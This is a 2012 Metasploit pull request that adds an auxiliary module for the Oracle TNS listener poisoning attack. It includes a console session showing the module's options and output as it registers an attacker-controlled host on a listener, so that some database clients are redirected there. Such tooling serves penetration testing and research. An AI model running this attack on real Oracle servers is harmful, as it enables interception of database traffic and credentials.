rapid7/metasploit-framework — pull request #1005 by donctl (2012-11-03 14:59:03+00:00)
Title: Module tnspoison

### Introduction

The tnspoison module implements the tnspoison attack (all credit goes to
Joxean Koret). It supports all possible SID length (1-12 characters), but does
not support the Global Database Identifier usage.

### Tested Oracle versions
We have tested the extension against Oracle 11.2.0.3 64bit on Windwows and Linux.

### Usage example
````
msf > use auxiliary/spoof/tns/tnspoison
msf auxiliary(tnspoison) > show options

Module options (auxiliary/spoof/tns/tnspoison):

Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS changeme no The password to authenticate with
DBUSER SYS no The username to authenticate with, it should be SYSDBA for oradebug
DHOST yes HOST to redirect to, it should be IP address only
DPORT 1521 yes PORT to redirect to, it can be 4 digits only
RHOST yes The Oracle host
RPORT 1521 yes The TNS port
SID ORCL no The SID to authenticate with

msf auxiliary(tnspoison) > set RHOST 192.168.56.20
RHOST => 192.168.56.20
msf auxiliary(tnspoison) > set DHOST 192.168.56.1
DHOST => 192.168.56.1
msf auxiliary(tnspoison) > exploit

[*] Connect to 192.168.56.20:1521.

[*] Sending register packet with SID ORCL to redirect to 192.168.56.1:1521.

[*] Wait for 10 seconds.
````
The module will register the DHOST and DPORT as a possible oracle instance for
the SID in the listener on the RHOST and on the RPORT. Certain percentage of
the users will be redirected to attacker controlled DHOST and DPORT.

### References

* http://www.joxeankoret.com/download/tnspoison.pdf

* Presented at DerbyCon 2.0:
http://www.youtube.com/watch?v=Y1KlVdV9am0

### Authors
Laszlo Toth
Ferenc Spala